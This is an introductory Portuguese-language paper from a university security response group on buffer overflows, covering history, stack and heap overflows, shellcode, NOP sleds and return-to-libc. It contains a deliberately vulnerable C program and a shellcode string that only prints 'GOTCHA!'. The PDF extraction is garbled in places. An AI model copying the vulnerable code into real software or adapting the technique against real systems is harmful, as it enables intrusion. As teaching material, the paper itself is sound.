Escolar Documentos
Profissional Documentos
Cultura Documentos
Instituto de Matematica
Departamento de Ciencia da Computacao
Grupo de Resposta a Incidentes de Seguranca
Rio de Janeiro, RJ - Brasil
Buffer Overflow
Uma introdu
c
ao te
orica
GRIS-2011-A-001
A vers
ao mais recente deste documento pode ser obtida na pagina oficial do GRIS: http:
//www.gris.dcc.ufrj.br.
Este documento e Copyright2011 GRIS. Ele pode ser livremente copiado desde que sejam
respeitadas as seguintes condic
oes:
permitido fazer e distribuir c
E
opias inalteradas deste documento, completo ou em partes,
contanto que esta nota de copyright e distribuicao seja mantida em todas as copias, e que a distribuic
ao n
ao tenha fins comerciais. Se este documento for distribudo apenas em parte, instrucoes
vedada a distribuicao de versoes modificadas
de como obte-lo por completo devem ser includas. E
deste documento, bem como a comercializacao de copias, sem a permissao expressa do GRIS.
Embora todos os cuidados tenham sido tomados na preparacao deste documento, o GRIS nao
garante a correc
ao absoluta das informacoes nele contidas, nem se responsabiliza por eventuais
conseq
uencias que possam advir do seu uso.
Ultima
atualizacao em: 6 de setembro de 2011
Sum
ario
1 Os
1.1
1.2
1.3
1.4
1.5
conceitos b
asicos
Um breve historico . . . . . . . . . . . . . . . . . . . . .
Buffer - o que e? . . . . . . . . . . . . . . . . . . . . . .
Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffer Overflow - Uma visao geral . . . . . . . . . . . . .
Exploits e tipos de ataques baseados em Buffer Overflow
2 Dissecando
2.1 A estrutura de um programa na memoria . .
2.2 Conhecendo melhor a pilha . . . . . . . . . .
2.3 Buffer Overflow - uma visao mais detalhada
2.4 Tecnicas e ferramentas de Buffer Overflow .
2.4.1 Stack-based Buffer Overflow . . . . .
2.4.2 A estrutura dos Shellcodes . . . . . .
2.5 Como explorar uma vulnerabilidade . . . . .
2.5.1 Conhecendo melhor a heap . . . . . .
2.5.2 Heap-based Buffer Overflow . . . . .
2.5.3 Return-to-libc Attack . . . . . . . . .
3 Agradecimentos(Raphael Duarte Paiva)
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
2
2
2
3
4
5
.
.
.
.
.
.
.
.
.
.
5
5
6
6
7
7
7
8
11
12
13
13
1
1.1
Os conceitos b
asicos
Um breve hist
orico
Buffer Overflows foram entendidos por volta de 1972, quando o Computer Security Technology Planning Study (documento de planejamento de estudos da USAF)
definiu a tecnica como o seguinte:
Um codigo realizando tal funcao nao checa os enderecos de fonte e destino apropriadamente, permitindo que partes do monitor sejam superpostas pelo usuario.
Isso pode ser usado para injetar codigos no monitor que irao permitir o usuario a
tomar o controle da maquina. (Pagina 61 http://csrc.nist.gov/publications/
history/ande72.pdf).
Hoje em dia, o monitor, poderia ser referido como o kernel.
A documentacao mais antiga de Buffer Overflow data de 1988. Foi uma das
muitas vulnerabilidades exploradas pelo Morris worm para se propagar pela internet.
O programa-alvo foi um servico Unix, chamado finger.
Em 1995, Thomas Lopatic redescobriu sozinho o buffer overflow e publicou seus
achados na lista de emails da Bugtraq. Um ano depois, Elias Levy (Tambem conhecido como Aleph One), publicou na revista Phrack, o artigo Smashing the Stack
for Fun and Profit (Arrasando a Pilha por Diversao e Lucro), uma introducao
passo-a-passo para realizar um stack-based buffer overflow.
Desde entao, pelo menos 2 worms exploraram buffer overflows para comprometer
um n
umero grande de sistemas. Em 2001, o Code Red Worm explorou um buffer
overflow no ISS (Internet Information Services) 5.0 da Microsoft e em 2003, o worm
SQL Slammer colocou em risco maquinas rodando o Microsoft SQL Server 2000.
Ainda em 2003, buffer overflows em jogos licenciados para o vdeo-game Xbox da
Microsoft foram explorados para permitir que softwares nao licenciados rodassem no
console sem a necessidade de modificacoes no hardware, conhecidas por modchips. O
PS2 Independence Exploit tambem usou um buffer overflow para conseguir o mesmo
efeito para o video-game Playstation 2 da Sony.
1.2
Buffer - o que
e?
Em computacao, um buffer e uma regiao temporaria da memoria onde sao guardados dados para serem transportados de um lugar para o outro.
Uma aplicacao freq
uente de um buffer e quando dados sao capturados de um dispositivo de entrada (um teclado ou mouse, por exemplo) e enviados a` um dispositivo
de sada(monitor, impressora).
Exemplo:
Digamos que o usuario esta em uma aplicacao de terminal, onde tudo o que ele
digita, e impresso na tela.
1.3
Overflow
1.4
O buffer overflow e um erro de programacao que pode resultar em execucao erronea de um programa, acesso indevido `a areas de memoria, terminacao do programa
ou uma possvel falha de seguranca em um sistema.
Tecnicamente falando, um buffer overflow consiste em um processo de armazenar,
em um buffer de tamanho fixo, dados maiores que o seu tamanho.
Exemplo:
Imagine que um programa declara duas estruturas de dados adjacentes na memoria do computador: um vetor de caracteres de 8 bytes, A, e um inteiro de 2 bytes,
B, enche A de zeros e B recebe o n
umero 9, como no seguinte esquema:
Agora imagine o que aconteceria se o programa nos pedisse uma palavra e tentassemos inserir a palavra excessivo dentro de A.
A palavra excessivo tem 9 letras, conseq
uentemente, 10 caracteres, pois um caractere nulo e concatenado ao final para indicar o fim de uma string (vetor de
caracteres). Separando a palavra em caracteres seria algo como: e, x, c, e, s,
s, i, v, o,\0, sendo o \0 o caractere nulo, que consiste em um um byte zerado.
Sabendo que cada caractere ocupa um byte, a string A, entao, tem apenas 8 bytes,
porem estamos inserindo 10 bytes, que e um tamanho maior do que A comporta.
Como no exemplo do rio transbordando, A vai transbordar, caracterizando um
overflow.
Quando ocorre um overflow, areas da memoria adjacentes a` estrutura de dados
a ser preenchida serao ocupados com os dados excedentes. Neste caso, os 8 bytes
de A serao ocupados, e haverao 2 bytes excedentes que serao alocados nos 2 bytes
adjacentes `a A, que e onde reside B, portanto, o valor de B sera sobrescrito com os
2 bytes que A nao suportou, como no seguinte esquema:
B e um inteiro que antes valia 9. Agora, seus 2 bytes estao preenchidos com
os caracteres o e \0. Em sistemas Little-Endian (sistemas em que o byte menos
significativo e o da esquerda), o valor dos bytes de B seriam os correspondentes
binarios `a tabela ASCII do caractere nulo (00000000) e do caractere o (01101111).
Concatenado-os, temos o valor binario de B: 0000000001101111 que equivale ao
decimal 111.
Como o programa em questao tem apenas 10 bytes reservados na memoria, se
tentassemos escrever uma palavra maior ainda, os excedentes teriam de ser alocados em areas de memoria nao reservadas ao programa, resultando numa falha de
segmentacao e, conseq
uentemente, a terminacao do programa.
As conseq
uencias do tipo de erro citado no exemplo acima, podem resultar em
um funcionamento erroneo do programa, pois imagine que B fosse uma variavel em
4
1.5
2
2.1
Dissecando
A estrutura de um programa na mem
oria
2.2
2.3
Como vimos, podemos utilizar o buffer overflow para reescrever o IP. Ora, se
o IP esta logo apos o espaco para as variaveis locais e o FP, o que aconteceria se
ultrapassassemos este espaco?
Assim como no primeiro exemplo de buffer overflow, imagine que temos um
programa que chama uma subrotina para pedir uma string ao usuario. Se soubermos
o tamanho maximo da string e esta fosse a u
nica variavel da subrotina, poderamos
ultrapassa-lo e reescrever o valor do IP.
6
2.4
T
ecnicas e ferramentas de Buffer Overflow
Agora que sabemos como alterar o IP, como podemos utilizar isso para fins
maliciosos?
2.4.1
Como dito em 2.1, o processador le uma serie de instrucoes. Tais que sao referenciadas por bytes. Com este conhecimento, podemos entao ao inves de escrevermos
um nome, poderamos enviar um endereco de memoria onde um codigo previamente
inserido possa ser executado.
O codigo inserido e normalmente chamado de shellcode.
2.4.2
2.5
Mostrarei a seguir um codigo que apresenta uma vulnerabilidade que pode ser
explorada usando a tecnica de stack-based buffer overflow e NOP-Sled. O erro
cometido nesse codigo e facilmente percebido: tentamos ler 1024 bytes de um arquivo
em uma variavel que so suporta 8. Com certeza causara um buffer overflow.
#include < s t d l i b . h>
#include <s t d i o . h>
int b o f ( ) {
char b u f f e r [ 8 ] ; / b u f f e r de c a r a c t e r e s de 8 b y t e s /
FILE b a d f i l e ;
/ a b r i n d o o a r q u i v o b a d f i l e para l e i t u r a /
b a d f i l e = f o p e n ( b a d f i l e , r ) ;
/ t e n t a n d o l e r 1024 b y t e s e armazenar em
um b u f f e r de 8 . /
f r e a d ( b u f f e r , s i z e o f ( char ) , 1 0 2 4 , b a d f i l e ) ;
return 1 ;
}
int main ( int argc , char argv ) {
bof ( ) ;
/ Imprimindo uma mensagem .
Em c a s o de o v e r f l o w , nao s e r a e x i b i d a . /
p r i n t f ( Not gonna do i t ! \ n ) ;
return 1 ;
}
Agora que identificamos a vulnerabilidade precisamos de uma forma de explorala. Como o programa le de um arquivo mais bytes do que deve, podemos montar um
arquivo(payload) de forma que ele desvie a execucao para o codigo que queremos
executar(shellcode). Nesse exemplo nosso shellcode so escreve uma frase na tela,
mas a ideia e mostrar que podemos executar um codigo arbitrario e tentar tomar
controle do sistema. Os trechos de codigo a seguir montam o arquivo desejado,
vamos analisar ele passo a passo.
#include < s t d l i b . h>
#include <s t d i o . h>
char s h e l l c o d e [ ] =
\ xeb \ x16
\ x31 \xdb
\ x31 \ xd2
\ x31 \ xc0
\ x59
\xbb\ x01 \ x00 \ x00 \ x00
\ xb2 \ x09
\ xb0 \ x04
\ xcd \ x80
\ xb0 \ x01
\ xcd \ x80
\ xe8 \ xe5 \ x f f \ x f f \ x f f
GOTCHA! \ n ;
/
/
/
/
/
/
/
/
/
/
/
/
jmp s t r i n g /
x o r %EBX, %EBX /
x o r %EDX, %EDX /
x o r %EAX, %EAX /
pop %ECX /
mov $0x1 ,%EBX /
mov $0x9 ,% d l /
mov $0x04 ,% a l /
i n t $0x80 /
mov $0x1 , %a l /
i n t $0x80 /
c a l l code /
Nessa primeira parte fazemos os includes das bibliotecas padrao do C. Logo apos
colocamos o nosso shellcode em uma string. O que cada instrucao faz e como o
shellcode funciona vao alem do nosso escopo nesse artigo, logo, so precisamos saber que esse shellcode imprime a palavra GOTCHA!na tela. Vimos anteriormente
que os shellcodes sao dependentes da plataforma em que vao ser executados. Nosso
shellcode por exemplo, foi desenvolvido para a plataforma Linux.
Nosso exemplo funciona em linuxs com kernel inferior a 2.4.20, porque a partir dessa versao foi
introduzido um recurso que randomiza a localizacao da pilha, onde o ESP muda a cada execucao
impossibilitando o ataque da forma como esta sendo mostrado.
10
O comando memset preenche o nosso buffer com uma sequencia de 1024 NOPs(0x90).
Dessa forma, o buffer vai ficar completamente cheio de NOPs. Logo em seguida armazenamos o endereco do shellcode nas posicoes 12 a 15 do buffer. O endereco tem 4
bytes e e colocado de byte em byte no buffer porque o buffer e de char cujo tamanho
e 1 byte. Para fazer isso, fazemos um and bit a bit do byte menos significativo e
armazenamos na posicao 12, em seguida fazemos o and com o segundo byte menos
significativo e um shift right(deslocamento para direita) para coloca-lo na parte menos significativa e assim por diante ate o quarto byte. Com o comando memcpy,
colocamos o shellcode no fim do buffer. Lembrando que, como o nosso buffer esta
cheio de instrucoes NOPs, nao importa o lugar do buffer para qual a execucao vai
ser desviada, ela vai deslizar pelos NOPs ate o shellcode. Depois so precisamos
escrever o buffer no arquivo e fecha-lo.
Agora que ja temos o arquivo que explora a falha, basta executar o programa
passando o nosso arquivo. Na figura a seguir esta representada a pilha no momento
da execucao do programa vulneravel com o nosso arquivo.
Do lado esquerdo temos a pilha antes do buffer overflow ocorrer, onde os registradores salvos(IP, FP) e os argumentos da funcao estao com seus valores corretos. Do
lado direito o arquivo que criamos anteriormente ja foi lido e sobreescreveu todos os
dados adjacentes ao buffer. Ao analisarmos a pilha percebemos que a variavel buffer
vai do endereco 0x0F0000 ate 0x0F0007 ocupando os 8 bytes declarados. Logo apos,
temos o FP que tem 4 bytes, indo do endereco 0x0F0008 ate 0x0F000B seguido do
IP que tambem tem 4 bytes, indo do endereco 0x0F000C ate 0x0F000F. Por isso
que ao montarmos o payload, colocamos o endereco do shellcode nas posicoes 12 a`
15 do buffer. Os bytes de 0 ate 7 vao ser armazenados na variavel buffer, de 8 ate
11 vao sobreescrever o FP e de 12 ate 15 vao sobreescrever o IP. Logo, quando a
funcao retornar, a execucao sera desviada para o shellcode e nao para a main.[9]
2.5.1
Este e um tipo muito mais difcil de ser explorado devido ao fato do alvo ser a
heap. Entre as dificuldades estao:
Na heap, nao existem valores os quais o processador usa para saber qual a
proxima operacao a executar, apenas valores de organizacao do proprio heap.
Devido ao fato do heap crescer em direcao aos valores maiores da memoria e
podermos apenas escrever nesta mesma direcao, nao e possvel reescrever os
valores de controle do bloco atual, apenas dos blocos posteriores.
Como a organizacao da heap pode variar, o atacante precisa saber qual e a
implementacao de heap do programa-alvo.
Para explorar um buffer overflow na heap e necessario encontrar uma vulnerabilidade em alguma funcao interna de administracao da heap, de modo que esta
processe o buffer alvo na heap.
Deste modo:
Precisamos explorar a heap para sobrescrever os valores de administracao de
um bloco alvo e assim inserir o shellcode, construindo um bloco malicioso na
heap.
Os valores de administracao devem ser alterados no bloco de forma que este,
ao ser analisado por uma funcao, como free(), por exemplo, seja processado,
12
Return-to-libc Attack
Uma das defesas para um ataque de buffer overflow baseado em pilha e nao dar
permissao de execucao na pilha. Deste modo, nao e possvel tentar executar um
shellcode na pilha. Existe uma alternativa, que e explorar um codigo que ja existe
nas rotinas do programa. Um codigo que esta em quase qualquer coisa(incluindo
o sistema operacional), sao os codigos da libc, a biblioteca padrao do C. Alem de
estarem presentes na maioria dos sistemas, eles possuem uma posicao estatica na
memoria em um sistema.
O metodo para pular para uma funcao da libc e o mesmo do buffer overflow
baseado em pilha: reescrever o IP com o endereco da funcao desejada. O endereco
de uma funcao da libc pode ser facilmente descoberto, em um ambiente sem protecao
de aleatoriedade nos espacos de endereco, usando um programa de teste que imprima
o endereco da funcao, por exemplo.
Devemos, entao, reescrever o IP com o endereco da funcao desejada, seu endereco
de retorno e entao seus argumentos.
O primeiro e mais obvio agradecimento vai para minha famlia, sem a qual nao
chegaria onde estou hoje e certamente nao estaria realizando este artigo.
Gostaria de agradecer tambem a todo a equipe GRIS, pelo apoio, camaradagem, ensinamentos, trabalho, compromisso e as muitas risadas que compartilhamos
quando estamos juntos.
Outro agradecimento vai para toda a comunidade online que compartilha conhecimento em otimas fontes de sabedoria.
Finalmente, um agradecimento especial para o amigo e fundador do GRIS, Breno
G. de Oliveira, por sua disposicao em compartilhar seu enorme conhecimento a
qualquer hora e sempre com uma vontade animadora de ajudar.
13
Refer
encias
[1] Smashing The Stack for Fun and Profit - http://insecure.org/stf/
smashstack.html
[2] Buffer Overflow - http://en.wikipedia.org/wiki/Buffer_overflow
[3] Stack buffer overflow - http://en.wikipedia.org/wiki/Stack_buffer_
overflow
[4] Heap Overflow - http://en.wikipedia.org/wiki/Heap_overflow
[5] Return-to-libc attack - http://en.wikipedia.org/wiki/Return-to-libc_
attack
[6] Shellcode - http://en.wikipedia.org/wiki/Shellcode
[7] A
Heap
of
Risk
http://www.heise-online.co.uk/security/
A-Heap-of-Risk--/features/74634
[8] Arc Injection / Return-to-libc - http://www.acm.uiuc.edu/sigmil/talks/
general_exploitation/arc_injection/arc_injection.html
[9] J.C. Foster, V. Osipov, N. Bhalla - Buffer Overflow Attacks: Detect, Exploit,
Prevent.
14